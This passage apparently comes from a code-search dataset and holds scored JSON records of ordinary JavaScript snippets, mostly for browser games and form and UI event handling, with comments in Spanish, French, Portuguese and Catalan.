clearTimeout(this.timeoutennemi);\r\n clearTimeout(this.timeoutennemi1);\r\n clearTimeout(this.timeoutennemi2);\r\n this.stage.removeChild(this.platCentre);\r\n this.stage.removeChild(this.platDroite);\r\n this.stage.removeChild(this.platGauche);\r\n\r\n for (let i=0; i < this.conteneurEnnemis.children.length ; i++){\r\n\r\n this.conteneurEnnemis.children[i].detruire()\r\n\r\n\r\n } for (let i=0; i < this.conteneurEnnemis2.children.length; i++){\r\n\r\n this.conteneurEnnemis2.children[i].detruire()\r\n\r\n\r\n } for (let i=0; i < this.conteneurEnnemis1.children.length ; i++){\r\n\r\n this.conteneurEnnemis1.children[i].detruire()\r\n\r\n\r\n }\r\n for (let i=0; i < this.conteneurEnnemis.children.length ; i++){\r\n\r\n this.conteneurEnnemis.children[i].detruire()\r\n\r\n\r\n } for (let i=0; i < this.conteneurEnnemis2.children.length; i++){\r\n\r\n this.conteneurEnnemis2.children[i].detruire()\r\n\r\n\r\n } for (let i=0; i < this.conteneurEnnemis1.children.length ; i++){\r\n\r\n this.conteneurEnnemis1.children[i].detruire()\r\n\r\n\r\n }\r\n\r\n\r\n\r\n }", "title": "" }, { "docid": "3f828b6a9b5e8c3d71451199e1f203d3", "score": "0.50472456", "text": "gizmoCallbacks () {\n if (this.selected) {\n let rotation = this.selected.rotation\n if (this.selected.rotationQuaternion) {\n rotation = this.selected.rotationQuaternion.toEulerAngles()\n }\n const pos = [this.selected.position.x, this.selected.position.y, this.selected.position.z]\n const rot = [rotation.x, rotation.y, rotation.z]\n const scale = [this.selected.scaling.x, this.selected.scaling.y, this.selected.scaling.z]\n this.updateDataToIndexDB(pos, rot, scale, null)\n }\n }", "title": "" }, { "docid": "0a5fee568466f9aa87f70884510062a4", "score": "0.5040824", "text": "function setObsListeners() {\n\n\t// Swipe up listener\n\tjQuery(\"div.target1\").on(\"swipeup\", function(event) {\n\t\t// Finds current lane and generates id of new lane\n\t\t$parentId = $(this).parent().attr(\"id\").replace(/[^\\d.]/g, \"\");\n\t\t$newLane = parseInt($parentId) - 1;\n\t\t$newId = \"#t\" + $newLane;\n\n\t\t// If the new lane is a valid lane, destroy current obstacle and generate a \n\t\t// new one with the same parameters\n\t\tif($newLane >= 1) {\n\t\t\t$left = $(this).css(\"left\");\n\t\t\t$height = $(this).css(\"height\");\n\n\t\t\t$target = $('<div></div>');\n\t\t\t$target.addClass(\"target\").css({\"left\": $left, \"height\": $height, \"top\": \"0\"});\n $target.addClass(\"target1\");\n if ($(this).hasClass(\"twoLane\")) {\n\t\t\t\t$target.addClass(\"twoLane\")\n\t\t\t}\n\t\t\t$(this).remove();\n\t\t\t\n\t\t\t$block = $('<div></div>');\n\t\t\t$block.addClass(\"obstacle\");\n\t\t\t$target.append($block);\n\n\t\t\t$($newId).append($target);\n\t\t\tsetObsListeners();\n\t\t// If the new lane is invalid, do not change the obstacle, and instead run the easter egg\n\t\t} else {\n\t\t\teasterEgg();\n\t\t}\n\t\t//Plays sound on swipe\n\t\taudioSwipe.play();\n\t});\n\n\t// Swipe down listener\n\tjQuery(\"div.target1\").on(\"swipedown\", function(event) {\n\t\t$parentId = $(this).parent().attr(\"id\").replace(/[^\\d.]/g, \"\");\n\t\t$newLane = parseInt($parentId) + 1;\n\t\t$newId = \"#t\" + $newLane;\n\n\t\t// If 2 lane obstacle, lock to first 3 lanes, otherwise use all 4\n\t\tif ($(this).hasClass('twoLane')) {\n\t\t\tif($newLane <= $lanes - 1) {\n\t\t\t\t$left = $(this).css(\"left\");\n\t\t\t\t$height = $(this).css(\"height\");\n\t\t\t\t$(this).remove();\n\n\t\t\t\t$target = $('<div></div>');\n\t\t\t\t$target.addClass(\"target\").css({\"left\": $left, \"height\": $height, \"top\": \"0\"});\n $target.addClass(\"target1\");\n\t\t\t\t$target.addClass(\"twoLane\");\n\t\t\t\t\n\t\t\t\t$block = $('<div></div>');\n\t\t\t\t$block.addClass(\"obstacle\");\n\t\t\t\t$target.append($block);\n\n\t\t\t\t$($newId).append($target);\n\t\t\t\tsetObsListeners();\n\t\t\t} else {\n\t\t\t\teasterEgg();\n\t\t\t}\n\t\t} else {\n\t\t\t// If the new lane is a valid lane, destroy current obstacle and generate a \n\t\t\t// new one with the same parameters\n\t\t\tif($newLane >= 1) {\n\t\t\t\t$left = $(this).css(\"left\");\n\t\t\t\t$height = $(this).css(\"height\");\n\t\t\t\t$(this).remove();\n\n\t\t\t\t$target = $('<div></div>');\n\t\t\t\t$target.addClass(\"target\").css({\"left\": $left, \"height\": $height, \"top\": \"0\"});\n $target.addClass(\"target1\");\n\t\t\t\n\t\t\t\t$block = $('<div></div>');\n\t\t\t\t$block.addClass(\"obstacle\");\n\t\t\t\t$target.append($block);\n\n\t\t\t\t$($newId).append($target);\n\n\t\t\t// If the new lane is invalid, do not change the obstacle, and instead run the easter egg\n\t\t\t} else {\n\t\t\t\teasterEgg();\n\t\t\t}\n\t\t}\n\t\t//Plays sound on swipe\n\t\taudioSwipe.play();\n\t});\n}", "title": "" }, { "docid": "6bc0d30ea6f30d39b01212d0d5baf9c2", "score": "0.50317407", "text": "function onObserverTermoAditivo(){\r\n //Corrigi bot�es\r\n if(jQuery.browser.msie){\r\n jQuery('#pesquisar_cliente').removeAttr().attr('style', 'margin: 19px 0 0 0;');\r\n jQuery('#adicionar_servico').removeAttr().attr('style', 'margin: 23px 0 0 0;'); \r\n } else if(jQuery.browser.safari){\r\n jQuery('#pesquisar_cliente').removeAttr().attr('style', 'margin: 21px 0 0 0;');\r\n jQuery('#adicionar_servico').removeAttr().attr('style', 'margin: 21px 0 0 0;'); \r\n } else{\r\n jQuery('#pesquisar_cliente').removeAttr().attr('style', 'margin: 19px 0 0 0;');\r\n jQuery('#adicionar_servico').removeAttr().attr('style', 'margin: 19px 0 0 0;');\r\n } \r\n //Ocultando campos - inclusao\r\n if(jQuery.trim(jQuery('#id_termo').val()) == \"\"){\r\n jQuery('#ta_servico').parent().hide();\r\n jQuery('#td_fieldset').children().hide();\r\n jQuery('#status').parent().hide(); \r\n } else{\r\n jQuery('#ta_servico').parent().show();\r\n jQuery('#td_fieldset').children().show();\r\n jQuery('#status').parent().show(); \r\n } \r\n //Pesquisar Cliente\r\n jQuery('#pesquisar_cliente').unbind().click(function(){\r\n pesquisarCliente();\r\n }); \r\n //Tipo da Situa��o\r\n jQuery('#situacao').unbind().change(function(){\r\n setValores();\r\n }); \r\n //Ao mudar o tipo do Servi�o, chama a fun��o para carregar o select do Contrato.\r\n jQuery('#servico').unbind().change(function(){\r\n carregarSelectContrato();\r\n }); \r\n //Mascara moeda\r\n formatarMoeda();\r\n \r\n //Item Aditivo Servi�o\r\n jQuery('#adicionar_servico').unbind().click(function(){\r\n adicionarItemTermoAditivoServico();\r\n }); \r\n //Confirmar inclusao/alteracao Termo Aditivo\r\n jQuery('#confirmar').unbind().click(function(){\r\n confirmarTermoAditivoServico();\r\n });\r\n //Link Remover Item Aditivo\r\n jQuery('a[id*=lnk_remove_item_]').unbind().click(function(){\r\n var id_item = jQuery(this).attr(\"id\").split(\"_\")[3];\r\n removerItemAditivo(id_item);\r\n });\r\n //Excluir TA\r\n jQuery('#excluir_termo').unbind().click(function(){\r\n excluirTermoAditivoServico();\r\n });\r\n\r\n jQuery('#pacote').unbind().change(function(){\r\n buscarServicos();\r\n });\r\n\r\n jQuery('#tipo_serv_pac').change(function(){\r\n buscarServicos();\r\n });\r\n\r\n //Valor Negociado\r\n /*jQuery('#valor_negociado').unbind().change(function(){\r\n setValores();\r\n });*/\r\n}", "title": "" }, { "docid": "0167dbeb50d53779d0daf456f4f1234f", "score": "0.5029389", "text": "function initAct(){\nif (tiAval){parent.iniciaActividade()} paintBoard();\n}", "title": "" }, { "docid": "08c5eee365d935e1df50cc336cd654a8", "score": "0.50266266", "text": "comprobarCambiarNivel() {\n if (this.listaLadrillos.getLength() <= 0 && this.listaLadrillosDuros.getLength() <= 0) {\n gameConfig.nivel += 1;\n gameConfig.inicioPelota = true;\n if (gameConfig.nivel > 10){\n this.ganar();\n } else {\n this.scene.restart();\n }\n }\n }", "title": "" }, { "docid": "9fcb44e0babfdda349f4bbd6d24f3a31", "score": "0.5026531", "text": "static onMove(e, offset) {\n let THIS = this;\n let newdim = DragBar.dragStartDim + (((THIS.isHor) ? offset.x : offset.y) * ((THIS.isLast) ? -1 : 1));\n if (newdim > THIS.max)\n newdim = THIS.max;\n if (newdim < THIS.min)\n newdim = THIS.min;\n THIS.parentDisplayGroupChild.dim = `${newdim}px`;\n Render.scheduleUpdate();\n }", "title": "" }, { "docid": "5bafa12941c6274dada310c005302566", "score": "0.50263095", "text": "function Update () {\n\n\t\tif (vida >3){ \n\t\t\tvida = 3; \n\t\t\tbarraVidas.GetComponent(UnityEngine.UI.Image).sprite = life3;\n\t\t} \n\t\t \n\t\tif (vida == 2){ \n\t\t\tbarraVidas.GetComponent(UnityEngine.UI.Image).sprite = life2;\n\t\t\tactualLife = 2;\n\t\t} \n\t\tif (vida == 1){ \n\t\t\tbarraVidas.GetComponent(UnityEngine.UI.Image).sprite = life1;\n\t\t\tactualLife = 1;\n\t\t} \n\t\tif (vida == 0 && mostrado == false){ \n\t\t\t\n\t\t\tbarraVidas.GetComponent(UnityEngine.UI.Image).sprite = life0;\n\t\t\t//(Mover as MonoBehaviour).enabled = false;\n\t\t\tTime.timeScale = 0f;\n\t\t\t\n\t\t\t//Herramienta.SetActive(false);\n\t\t\tMostrar = true;\n\n\t\t\tsettingUi(false);\n\t\t\tmostrado = true;\n\t\t\t//OnGUI();\n\t\t} \n\t}", "title": "" }, { "docid": "8d64ac7a56c4fe0074296611be60f45d", "score": "0.5021928", "text": "function MetaCaixaInit(){\n //S'executa al carregar-se la pàgina, si hi ha metacaixes,\n // s'assignen els esdeveniments als botons\n //alert(\"MetaCaixaInit\");\n \n var i=0 //Inicialitzem comptador de caixes\n for (i=0;i<=9;i++){\n var vMc = document.getElementById(\"mc\"+i);\n if (!vMc) break;\n //alert(\"MetaCaixaInit, trobada Metacaixa mc\"+i);\n \n var j=1 //Inicialitzem comptador de botons dins de la caixa\n var vPsIni = 0 //Pestanya visible inicial\n for (j=1;j<=9;j++){\n var vBt = document.getElementById(\"mc\"+i+\"bt\"+j);\n if (!vBt) break;\n //alert(\"MetaCaixaInit, trobat botó mc\"+i+\"bt\"+j);\n vBt.onclick = MetaCaixaMostraPestanya; //A cada botó assignem l'esdeveniment onclick\n //alert (vBt.className);\n if (vBt.className==\"mcBotoSel\") vPsIni=j; //Si tenim un botó seleccionat, en guardem l'index\n }\n //alert (\"mc=\"+i+\", ps=\"+j+\", psini=\"+vPsIni );\n if (vPsIni == 0) { //Si no tenim cap botó seleccionat, n'agafem un aleatòriament\n vPsIni = 1+Math.floor((j-1)*Math.random()) ;\n //alert (\"Activant Pestanya a l'atzar; _mc\"+i+\"bt\"+vPsIni +\"_\");\n document.getElementById(\"mc\"+i+\"ps\"+vPsIni).style.display = \"block\";\n document.getElementById(\"mc\"+i+\"ps\"+vPsIni).style.visibility = \"visible\";\n document.getElementById(\"mc\"+i+\"bt\"+vPsIni).className=\"mcBotoSel\";\n } \n }\n }", "title": "" }, { "docid": "4ecb7093190a8d568c34757c34060e0a", "score": "0.5020703", "text": "function start(snivel){\r\n /*Reconoce las letras pulsadas*/\r\n document.onkeyup = transformaTeclado;\r\n nivel = snivel;\r\n /*Genera el fondo dependiendo del nivel*/\r\n document.body.style.background = 'url(AHORCADO/imagenes/fondos/'+nivel+'.jpg) no-repeat center center fixed';\r\n document.body.style.backgroundSize = \"cover\";\r\n /*Tiene en cuenta si es la primera vez que se entra en el nivel para no mostrar siempre las instrucciones*/\r\n if(!document.getElementById('botones')){\r\n /*Se vuelve a buscar una nueva serie y se reinicia todos los contadores*/\r\n minutosMostrar =0;\r\n segundosMostrar = 0;\r\n posicion = Math.floor(Math.random() * palabras.length);\r\n serie = palabras[posicion];\r\n arrayDeLetras = serie.replace(/ /g, \"\").split(\"\");\r\n palabrasSerie = serie.split(\" \");\r\n corazones = 60;\r\n usadas = [];\r\n letrasAcertadas =0;\r\n botonesreinicio(nivel);\r\n cronometro(nivel);\r\n generaCorazones();\r\n generaPista(nivel);\r\n generaCuadraditos(nivel);\r\n generaMonigote();\r\n creaPanel(nivel);\r\n }else{\r\n /*Al ser la primera vez se desactivan los botones de elección de menú, luego muestra las reglas del nivel*/\r\n document.getElementById('botones').style.display = \"none\";\r\n introduccion(nivel);\r\n }\r\n}", "title": "" }, { "docid": "36369c14f6a9142a4fbcb302b0543630", "score": "0.50074935", "text": "function reducir_vida_rival(a) {\n var enemigo = enemigos_en_tablero.find(enemigo => enemigo.id === a);\n if (enemigo.puntos_de_vida > 0) {\n\n\n\n enemigo.puntos_de_vida = enemigo.puntos_de_vida - 1;\n\n\n var cositas= enemigo.id +\"_puntos_vida\";\n document.getElementById(cositas).innerHTML = enemigo.puntos_de_vida;\n\n var porcentaje_pdv= parseInt(enemigo.puntos_de_vida)/parseInt(enemigo.puntos_de_vida_game)*100;\n\n console.log( \"enemigo.puntos_de_vida: \" + enemigo.puntos_de_vida );\n console.log( \"enemigo.puntos_de_vida_game: \" + enemigo.puntos_de_vida_game );\n console.log( \"porcentaje_pdv: \" +porcentaje_pdv );\n\n document.getElementById( enemigo.id + \"_vida_barra\").style.width = porcentaje_pdv +\"%\"; \n\n\n\n\n\n event_target.remove();\n /* ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- */\n\n\n if (enemigo.puntos_de_vida == 0){\n //document.getElementById(enemigo.id).style.backgroundColor=\"#282930\";\n\n document.getElementById(enemigo.id).classList.add(\"muerto\");\n // document.getElementById(enemigo.id).style.backgroundBlendMode=\"saturation\";\n enemigo.status= \"muerto\";\n // document.getElementById(enemigo.id).remove();\n }\n /* console.log(enemigos_en_tablero) */\n var enemigos_vivos = enemigos_en_tablero.filter(enemigo => enemigo.status === \"vivo\");\n \n //console.log(enemigos_vivos.length) ; \n if( enemigos_vivos.length == 0){ setTimeout(function(){ \n document.getElementById('modal_victoria').style.display =\"flex\";\n \n }, 300);}\n }\n }", "title": "" }, { "docid": "30858359e46285fc5ac3d909de3c938b", "score": "0.49995986", "text": "function Atarget(){\n \n var top = Math.random() * (500 - 20) + 20;\n var distance = Math.random() * (500 - 20) + 20;\n \n //viseur 1\n top = Math.random() * (150 - 0) + 0;\n distance = Math.random() * (1000 - 0) + 0;\n document.getElementById(\"viseur1\").style.left = distance + 'px';\n document.getElementById(\"viseur1\").style.top = top + 'px';\n \n //viseur2\n top = Math.random() * (150 - 0) + 0;\n distance = Math.random() * (1000 - 0) + 0;\n document.getElementById(\"viseur2\").style.right = distance + 'px';\n document.getElementById(\"viseur2\").style.top = top + 'px';\n \n \n compteur++;\n\n if(compteur == 10){\n compteur = 0;\n Atarget();\n }\n }", "title": "" }, { "docid": "9ea29739f6c7e8f01ed66ec28f77f16f", "score": "0.49928972", "text": "function activa(letra, nivel){\r\n /*Comprueba que la serie contenga esa letra y que la letra no se haya usado anteriormente*/\r\n if(arrayDeLetras.indexOf(letra) >=0 && usadas.indexOf(letra) <0){\r\n /*Cambia los sustitutos de las letras por las letras y aumenta el contador de letras que ha acertado el usuario*/\r\n for(var i =0; i <arrayDeLetras.length;i++){\r\n if(letra == arrayDeLetras[i]){\r\n document.getElementsByClassName('incognita')[i].innerHTML = letra;\r\n letrasAcertadas++;\r\n }\r\n }\r\n /*Si no esta jugando el usuario en nivel dificil deshabilitará el boton de esa letra y lo dejara transparente*/\r\n if(nivel != \"dificil\"){\r\n document.getElementsByClassName('botonPanel')[letras.indexOf(letra)].disabled = true;\r\n document.getElementsByClassName('botonPanel')[letras.indexOf(letra)].style.color = \"transparent\";\r\n }\r\n /*En caso de ser el nivel dificil no cambiara nada y agregara la letra al array de letras que ya han sido usadas,\r\n los niveles facil y medio tambien contarán las letras dichas*/\r\n usadas.push(letra);\r\n }else{\r\n /*Si la letra no esta en la palabra o ya se ha dicho y esta jugando en el nivel dificil*/\r\n if(nivel == \"dificil\"){\r\n /*si la letra ya ha sido dicha anterior mente se restara media vida*/\r\n if(usadas.indexOf(letra) >=0){\r\n calculaCorazones(5, nivel);\r\n }else{\r\n /*Si la letra no se ha dicho anteriormente se restara una vida y se agregara dicha letra al array de letras que ya han sido usadas*/\r\n calculaCorazones(10, nivel);\r\n usadas.push(letra);\r\n }\r\n }else{\r\n /*Si la letra no ha sido usada anteriormente en el nivel facil y dificil se restara*/\r\n if(usadas.indexOf(letra) <0){\r\n /*Si no se encuentra en el nivel dificil se deshabilitara el boton*/\r\n document.getElementsByClassName('botonPanel')[letras.indexOf(letra)].disabled = true;\r\n document.getElementsByClassName('botonPanel')[letras.indexOf(letra)].style.color = \"transparent\";\r\n if(nivel == \"facil\"){\r\n /*Si se encuentra en el nivel fácil se restara media vida*/\r\n calculaCorazones(5, nivel);\r\n }else{\r\n /*Si se encuentra en el nivel medio se restara una vida*/\r\n calculaCorazones(10,nivel);\r\n }\r\n }\r\n }\r\n }\r\n /*Si el número de aciertos corresponde con el número de letras que constituyen la serie el juego se finaliza*/\r\n if(letrasAcertadas == arrayDeLetras.length){\r\n finDeJuego(1, nivel);\r\n }\r\n}", "title": "" }, { "docid": "3dbee960af7fcbb5dd346d6c2e7cb25c", "score": "0.4988784", "text": "function initAct(){\nrandOrder();paintQuestion();\nif (tiAval){parent.iniciaActividade()}if ((tiTime) && (tiButtonTime)){paintButtonTime();}}", "title": "" }, { "docid": "e73cd0c8305e75c9227b60f632352b22", "score": "0.49875325", "text": "function init() {\n\t\n // funcion que vacia la lista ul que contiene los gastos\n\tvaciarListaGastos();\n\t\n // Asigno el boton agregar gasto la funcion agregarGasto()\n\t$('#btn-agregar-gasto').on('click', agregarGasto);\n\t\n // Asigno al boton registrar la funcion registrarUsuario()\n\t$('#btn-registrar').on('click', registrarUsuario);\n\t\n // Asigno al boton entrar la funcion loginUsuario para loguearse en la aplicacion\n\t$('#btn-entrar').on('click', loginUsuario);\n\t\n // Asingo al boton salir la funcion logoutUsuario para salir de la aplicacion\n\t$('#btn-salir').on('click',logoutUsuario);\n\n // Asigno al boton de cambiar contraseña la funcion cambiarContrasena para cambiar la contraseña del usuario que inicio sesion\n $('#btn-cambiar-contrasena').on('click', cambiarContrasena);\n\n // Asigno al enlace de la lista de reportes de Ayer para cargar los gatos de una dia anterior a la actual\n $('#btn-menu-report-ayer').on('click', cargarReporteAyer);\n\n // Asigno a la lista de meses la funcion de reporte por mes cada vez que cambie de mes\n $('#meses').on('change', cargarReporteMes);\n\n // Asigno al boton de reporte año la funcion cargar Reporte anio para ver todos los gatos en un año determinado\n $('#btn-ver-report-anio').on('click', cargarReporteAnio);\n\n // Asigno al enlace de la lista de reporte la funcion cargarAnios en el campo de seleccion\n $('#btn-menu-report-anio').on('click', cargarAnios);\n\n // Asigno al boton de ver de fecha la funcion que carga los gastos de una fecha seleccionada \n $('#btn-ver-fecha-reporte').on('click', cargarReporteFecha);\n\n}", "title": "" }, { "docid": "2dbd4cc1a4771c4da36759ed6de51549", "score": "0.49818796", "text": "function tocarMenos()\n{\n // Compruebo que no este a velocidad minima (estetica) y que la animacion este activa\n if((velocidad*-1) < 9.6 && btnPrincipal.classList.contains(\"icon-pause\"))\n {\n // disminuyo la velocidad\n velocidad = velocidad - 0.2;\n // disminuyo la velocidad del disco\n rodarDisco.playbackRate=velocidad;\n // disminuyo la velocidad de la aguja\n leeAguja.playbackRate=velocidad;\n // actualizo en la pantalla\n pantalla.innerText = rodarDisco.playbackRate.toFixed(1);\n }\n}", "title": "" }, { "docid": "21e9b39945302df280ee4d1c8c8a6c45", "score": "0.49741316", "text": "function updateClip(){\n \n}", "title": "" }, { "docid": "aa40518e268810f5901a68048a1581d5", "score": "0.49715662", "text": "function inicializeEvents(){\n \n $(\"#botonModificar\").click(modifyMovie);\n $(\"#botonBorrar\").click(removeMovie);\n \n $(\"#botonGuardar\").click(crearDatos);\n obtenerPeliculas();\n $(\".quitarBorrado\").click(quitarBorrado)\n}", "title": "" }, { "docid": "0cee49bbb90d1c9ac99c7f6170fc438e", "score": "0.49681374", "text": "function createSliderAction() {\n document.getElementById('slider').addEventListener('input', function(time_chunk) {\n var cutoffs_obj_active = $(\"#broadband_cutoffs\")[0].className; //when there are more standalones, change this to check the div for any active standalones\n var slid_ind = document.getElementById('slider').value;\n var geo = $(\"#geo_menu\")[0].value;\n\n if (cutoffs_obj_active == \"active\") { //when there are more standalones, change this to check the div for any active standalones\n var keep_map = date_ids[slid_ind] + \"_\" + geo + \"_\" + \"broadband_cutoffs\";\n } else {\n var attribute = $(\"#attribute_menu\")[0].value;\n var source = $(\"#source_menu\")[0].value;\n var keep_map = date_ids[slid_ind] + \"_\" + geo + \"_\" + source + \"_\" + attribute;\n }\n\n document.getElementById('time_chunks').textContent = date_names[slid_ind];\n map.setLayoutProperty(keep_map + \"_id\", 'visibility', 'visible');\n turnOffOtherMaps(keep_map);\n });\n}", "title": "" }, { "docid": "8ea3115e8a0b667ccec742fa5d33033e", "score": "0.49644017", "text": "function dragSecciones() {\n console.log(\"haciendo .sectors clickeable\");\n //var secciones = document.querySelectorAll(\".sectors\");\n $(\".sectors\").each(function () {\n $(this).on(\"click\", function () {\n idNew = $(this).parent().attr(\"id\");\n //console.log(idNew);\n divClone = document.createElement(\"div\");\n divGirar = document.createElement(\"div\");\n divInterior = document.createElement(\"div\");\n //atributos de los divs\n divInterior.className = \"Sector-draggable\";\n divInterior.id = idNew.split(\"-\")[0] + \"-Sector-draggable\";\n divInterior.textContent = $(this).text();\n divInterior.style = \"width:150px;\";\n\n divGirar.className = \"icon-girar\";\n divGirar.id = \"icon-\" + idNew.split(\"-\")[0];\n\n divClone.id = idNew;\n divClone.style = \"height: 64px;width:180px;\";\n divClone.className = \"interiorWrap mover\";\n divClone.style.position = \"absolute\";\n //removemos divs origen\n $(this).parent().remove();\n //añadimos divs\n $(\"#Mapa\").append(divClone);\n $(\"#\" + divClone.id).append(divInterior);\n $(\"#\" + divInterior.id).append(divGirar);\n //evento cuando quiera girar un div\n girarDiv(divGirar);\n //damos opcion draggable y resizable\n divResizable(divClone, \"#Mapa\", 60, 60);\n divDraggable(divClone, \"#Mapa\");\n divResizable(divInterior, \"#Sectores\", 90, 40);\n divDraggable(divInterior, \"#Sectores\");\n });\n });\n}", "title": "" }, { "docid": "070cb700b53800ac38edd955153c7127", "score": "0.4963573", "text": "function main() {\n\t\tif (window.wave && wave.isInWaveContainer()) {\n\t\t\twave.setParticipantCallback(onParticipantChanged);\n\t\t\twave.setStateCallback(onStateChanged);\n\t\t}\n\t}", "title": "" }, { "docid": "a671676ee49a8059747666c6a1590b44", "score": "0.49616516", "text": "function activarAvisos(){\r\n\t//aviso01();\r\n}", "title": "" }, { "docid": "22d7ffa58b0543a4eb1d9535845feea5", "score": "0.49599057", "text": "commencerJeu(){\r\n\r\n this.conteneurEnnemis = new createjs.Container();\r\n this.stage.addChild(this.conteneurEnnemis);\r\n this.conteneurEnnemis1 = new createjs.Container();\r\n this.stage.addChild(this.conteneurEnnemis1);\r\n this.conteneurEnnemis2 = new createjs.Container();\r\n this.stage.addChild(this.conteneurEnnemis2)\r\n setTimeout(this.ajouterPersonnage.bind(this), 3000);\r\n this.timeoutennemi= setTimeout(this.ennemisaucomplet1,5000);\r\n this.timeoutennemi1=setTimeout(this.ennemisaucomplet2,5000);\r\n this.timeoutennemi2=setTimeout(this.ennemisaucomplet3,5000);\r\n setTimeout(this.vieHeros.bind(this), 100);\r\n }", "title": "" }, { "docid": "ee8344db762a93f73b264e0ce0a8a23e", "score": "0.49576297", "text": "function distance_measure(){\r\n loadImage('black.png', img2 => {\r\n image(img2, 0, 0, windowWidth, 100);\r\n });\r\n loadImage('black.png', img3 => {\r\n image(img3, 0, windowHeight/2+370, windowWidth, 100);\r\n });\r\n dist = 0;\r\n intervalCurrentPosition(positionPing, 5000);\r\n distance_button.remove();\r\n//End Button wird erzeugt\r\nend_button = createButton(\"end walk\");\r\n//End Button wird platziert\r\nend_button.position(windowWidth/2, windowHeight-windowHeight/4);\r\n//Methode die ausgeführt wird, wenn der End Button gedrückt wird\r\nend_button.mouseClicked(show_distance);\r\n}", "title": "" }, { "docid": "327444ecfb5ee8665607d9d3fd8a6c6b", "score": "0.49568558", "text": "function custom_start(){\n\n //retrieve the values.\n let map = setup_map();\n for (const behavior of AGENT_BEHAVIORS){\n let str = \"#menu #container #\"+behavior;\n let div = d3.select(str);\n //retrieve all the values..\n for (const param of parameters){\n let input = div.select(\"input#\"+param).property(\"value\");\n let value = isNaN(parseInt(input)) ? 0 : parseInt(input);\n map[behavior][param] = value\n\n\n }\n }\n\n //get the values for tasks.\n let task_cnt = d3.select(\"#menu #tasks_spec input#tasks_cnt\").property(\"value\")\n map.tasks_cnt = task_cnt;\n restart_iris(map,true);\n compute_new_medians(true);\n\n //we need to force to redraw once in case the values are not all 0..\n update_histograms(forced=true);\n update_scatter()\n\n //remove the menu\n close_menu();\n\n\n}", "title": "" }, { "docid": "f62f3a1c534afaf192635dcfafb8a745", "score": "0.4956578", "text": "init() {\n this.LimpiarMemoria();\n //todo por cada room debe de haber un spawn\n let spawns = this.getSpawns();\n spawns.forEach(function (spawn) {\n spawn.init();\n })\n }", "title": "" }, { "docid": "50cd2ae98403fa4faa16f0d4d3aba5e9", "score": "0.49530473", "text": "demarrer() {\n if(this.timerThread === false) this.timerThread = true\n this.manager.setEstConsignationPrimaire(this.estPrimaire)\n .then(()=>this._thread())\n .catch(err=>console.error(\"SynhronisationManager.demarrer Erreur : %O\", err))\n }", "title": "" }, { "docid": "48a41171443cdb767265735273cbbe99", "score": "0.49508756", "text": "function atualizaEstados() {\n\t\tvar horaInicio = $(\"#HorarioInicioCPS\").val();\n\t\tvar horaFim = $(\"#HorarioFinalCPS\").val();\n\t\t\n\t\t// sets the last selected time\n\t\t$($($(\"#HorarioInicioCPS\").parents()[1]).find('span')[2]).text(horaInicio);\n\t\t$(\"#HorarioInicioCPS\").val(horaInicio);\n\t\t$($($(\"#HorarioFinalCPS\").parents()[1]).find('span')[2]).text(horaFim);\n\t\t$(\"#HorarioFinalCPS\").val(horaFim);\n\t\t\t\n\t\tsolicitaEstados();\n\t}", "title": "" }, { "docid": "6ca0db2416ecefb3df821bccf246086e", "score": "0.4946014", "text": "function activadorEventosVendedores()\n{\n // VARIABLES DEL MENU VERTICAL DE LA OPCION VENDEDORES\n var ventasV, listadoV, actividadesV, viaticosV, comisionesV, ubicacionV;\n // ASIGNACION DE EVENTOS A LAS VARIABLES DECLARADAS\n ventasV=$(\"#ventasVendedor\");\n ventasV.click(seccionVentas);\n listadoV=$(\"#listadoVentas\");\n listadoV.click(seccionListado);\n actividadesV=$(\"#ActividadesVendedor\");\n actividadesV.click(seccionActividades);\n viaticosV=$(\"#viaticosVendedor\");\n viaticosV.click(seccionViaticos);\n comisionesV=$(\"#comisionesVendedor\");\n comisionesV.click(seccionComisiones);\n ubicacionV=$(\"#ubicacionVendedor\");\n ubicacionV.click(seccionUbicacion);\n //*********************************************************\n //** VARIABLES DE LAS OPCIONES DEL LISTADO DE VENDEDORES **\n //*********************************************************\n var adicionarV, modificarV, borrarV, visualizarV, reporteV;\n var volverVendedor, vBorrarV, vHideDelV, vBorrarOk;\n // ASIGNACION DE EVENTOS A LAS VARIABLES DECLARADAS\n adicionarV=$(\"#AVendedor\");\n adicionarV.click(AddVendedor);\n modificarV=$(\".ModVendedor\");\n modificarV.click(DatosModVendedor);\n visualizarV=$(\".VerVendedor\");\n visualizarV.click(DatosVerVendedor);\n borrarV=$(\".DelVendedor\");\n borrarV.click(DatosDelVendedor);\n\n volverVendedor=$(\"#volverAddVendedor\");\n volverVendedor.click(seccionListado);\n vBorrarV=$(\"#borrarVendedor\");\n vBorrarV.click(ConfirmDelVendedor);\n vBorrarOk=$(\"#OkDelVendedor\");\n vBorrarOk.click(DelVendedorOk);\n vHideDelV=$(\"#NotDelVendedor\");\n vHideDelV.click(HideConfirmDelVendedor); \n //*****************************************************\n //** VARIABLES DE LAS OPCIONES DEL LISTADO DE VENTAS **\n //*****************************************************\n var addVenta, modVenta, delVentas, verVentas, reporteVentas;\n var volverVenta, addProducto, modVenta, verVenta, delVenta, hideDelVenta, hideAddProducto;\n // ASIGNACION DE EVENTOS A LAS VARIABLES DECLARADAS\n addVenta=$(\".AdicionarVenta\");\n addVenta.click(AddVenta);\n modVenta=$(\".ModVenta\");\n modVenta.click(ModVenta);\n verVenta=$(\".VerVenta\");\n verVenta.click(VerVenta);\n delVenta=$(\".DelVenta\");\n delVenta.click(ConfirmDelVenta);\n\n hideDelVenta=$(\"#NotDelVenta\")\n hideDelVenta.click(HideConfirmDelVenta);\n volverVentas=$(\"#volverVenta\");\n volverVentas.click(seccionVentas);\n addProducto=$(\".VentanaAddProducto\");\n addProducto.click(ConfirmAddProducto);\n hideAddProducto=$(\"#NotAddProducto\");\n hideAddProducto.click(HideConfirmAddProducto); \n\n}", "title": "" }, { "docid": "6cf3fdda3b0f22e67f32e41ccd08a39b", "score": "0.49425426", "text": "OnNodeSizeDegree() {}", "title": "" }, { "docid": "d3c7110ac05b5bf4bc7b2285b555d342", "score": "0.49364513", "text": "function cargarHoras(segundos,minutos) {\n let txtHoras;\n\n if (segundos == -1 && minutos == 0 && horas !== 0) {\n setTimeout(()=>{\n horas--;\n },500)\n \n }else if(segundos == -1 && minutos == 0 && horas == 0)\n setTimeout(()=>{\n horas = 2;\n },500)\n\n if (horas < 10) {\n txtHoras = `0${horas}`;\n }else{\n txtHoras = horas;\n }\n document.getElementById('horas').innerHTML = txtHoras;\n cargarDias(segundos,minutos,horas)\n\n}", "title": "" }, { 